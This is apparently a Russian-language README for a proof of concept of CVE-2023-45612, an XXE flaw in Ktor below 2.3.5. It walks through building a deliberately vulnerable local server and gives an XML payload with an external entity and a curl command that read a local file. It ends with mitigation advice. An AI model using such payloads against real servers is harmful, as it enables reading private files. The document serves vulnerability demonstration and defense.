
Этот репозиторий содержит Proof of Concept для CVE-2023-45612, демонстрирующий уязвимость внедрения XML External Entity (XXE) в JetBrains Ktor версий ниже 2.3.5.
Этот репозиторий содержит уязвимый сервер Ktor для демонстрации уязвимости внедрения внешних сущностей XML (XXE), идентифицированной как CVE-2023-45612.
Уязвимость существует в версиях Ktor до 2.3.5, когда используется плагин ContentNegotiation с сериализатором по умолчанию xml(). Парсер XML по умолчанию не был настроен на предотвращение разрешения внешних сущностей, что позволяет злоумышленникам читать произвольные файлы с сервера.
В следующих разделах приведены шаги для самостоятельного воспроизведения эксплойта.
Версии, которые я использовал для этой PoC:
Создайте проект Ktor в IntelliJ IDEA с движком Netty, Gradle Kotlin и версией Ktor 2.3.4 (или более ранней).
Внутри build.gradle.kts вам нужно будет добавить следующий плагин:
kotlin("plugin.serialization") version "2.2.20"
и эти зависимости;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt должен содержать основную функцию для запуска сервера и функцию module() для его настройки. По умолчанию функция xml() инициализирует парсер XML, который разрешает обработку внешних сущностей.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt должен определять конечную точку, которая будет получать и парсить вредоносный XML.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Соберите приложение и запустите сервер.
./gradlew build
./gradlew run
Чтобы протестировать конечную точку, создайте XML-файл с именем hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
Вы можете выполнить его с помощью следующей команды curl (в Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
И при успешном выполнении вы должны получить следующее сообщение:
Message received: Hello, world!
Создайте файл secret_file.txt с каким-нибудь текстом. Информация внутри — это то, что мы хотим получить с помощью нашего эксплойта.
Создайте файл с именем exploit_message.xml. Его содержимое должно определять внешнюю сущность &xxe; как содержимое файла secret_file.txt, а затем использовать эту сущность внутри тегов <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Выполните следующую команду curl (в Windows) для запущенного сервера:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
Сервер прочитает файл secret_file.txt и отправит его содержимое обратно в HTTP-ответе:
Message received: XXE was a success.
Самое эффективное решение — обновить Ktor до версии 2.3.5 или новее. Они используют безопасно настроенный парсер XML по умолчанию, который отключает обработку определения типа документа и внешние сущности по умолчанию, что напрямую предотвращает эту XXE-атаку. В качестве альтернативы вы также можете вручную настроить парсер XML.
В качестве дополнительного уровня защиты читайте тело сырого запроса как обычный текст и отклоняйте его, если оно содержит подозрительные ключевые слова, такие как <!DOCTYPE или <!ENTITY, прежде чем оно достигнет парсера.
Эта уязвимость специфична для парсинга XML. Если требования вашего приложения гибкие, самым безопасным изменением будет полностью отказаться от XML и использовать формат, который не имеет такого класса уязвимостей, например JSON.
Активно пытайтесь найти недостатки безопасности, проверяя свои библиотеки на известные уязвимости и тестируя ваше приложение на распространённые эксплойты.